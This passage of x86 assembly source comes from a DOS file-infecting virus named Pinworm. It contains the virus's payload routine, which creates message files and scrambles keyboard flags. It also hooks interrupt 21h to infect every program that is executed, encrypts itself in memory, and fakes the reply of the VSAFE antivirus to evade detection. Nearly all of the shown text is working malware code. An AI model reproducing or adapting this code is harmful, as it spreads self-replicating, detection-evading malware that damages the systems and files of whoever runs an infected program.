7Fh,0 ; JG $+2 db 72h,0 ; JC $+2 or bp,bp not bp neg bp mov bp,ax mov bp,dx mov bp,si mov bp,di mov si,si mov di,di xchg cx,cx ENDIF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Activation Routine °°°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Creates directory named after Pinworm and files ; in that directory which together form a message. ; act_routine: push ax bx cx ds dx bp es cs pop ds mov activate,0 ;we're in work now.. lea dx,pin_dir ;create our subdirectory mov ah,39h int 21h mov ah,3bh ;change to our new subdirectory int 21h lea dx,file1 ;offset of first filename mov bp,MSG_FILEZ ;# of filez total make_msg: xor cx,cx ;null attribs mov ah,3ch int 21h ;create phile jc dont_close xchg ax,bx mov ah,3eh ;close phile int 21h dont_close: add dx,9 ;point to next phile dec bp jnz make_msg lea dx,root ; change back to orginal dir mov ah,3bh int 21h cmp r_delay,5 ;5 calls? jl r_no ;if not then skip keyboard ror mov r_delay,-1 xor ax,ax ;es=null mov es,ax ror word ptr es: [416h],1 ;rotate keyboard flags r_no: inc r_delay ;increment calls count mov activate,1 pop es bp dx ds cx bx ax jmp no_act ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Interrupt 24h - critical error handler ; new_24: ; critical error handler mov al,3 ; prompts suck, return fail iret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; In-memory encryption function ; **virus encrypted in memory up to this point** ; mem_crypt: mov cx,offset mem_crypt-offset code_start xor di,di ;offset 0 mem_loop: db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], mem_word dw 0 ;XXXX inc di loop mem_loop ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Interrupt 21h ; returns SI=0 and passes control to normal handler if ; VSAFE uninstall command is recieved. ; new21: pushf cmp cs: activate,1 ; time to activate? jnz no_act cmp ah,0Bh jl act_routine no_act: cmp ax,signal ; be it us? jnz not_us ; richtig.. cmp dx,vsafe_word jnz not_us xor si,si ; tis us mov di,4559h ; simulate VSAFE return not_us: cmp ah,4bh ; execute phile? jnz jmp_org go_now: push ax bp bx cx di dx ds es si call mem_crypt ; decrypt in memory call infect_file ; the mother of all calls call mem_crypt ; encrypt in memory pop si es ds dx di cx bx bp ax jmp_org: popf db 0eah ; jump far old21 dd 0 ; O:S exe_header: org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr ;ÄÄÄÄ Start of heap (not written to disk) heap: db 14h dup(0) ; remaining exe header space old_24_off dw 0 ; old int24h vector old_24_seg dw 0 r_delay db 0 size_disp db 0 ; additional size of virus vend: ; end of virus in memory.. cseg ends end start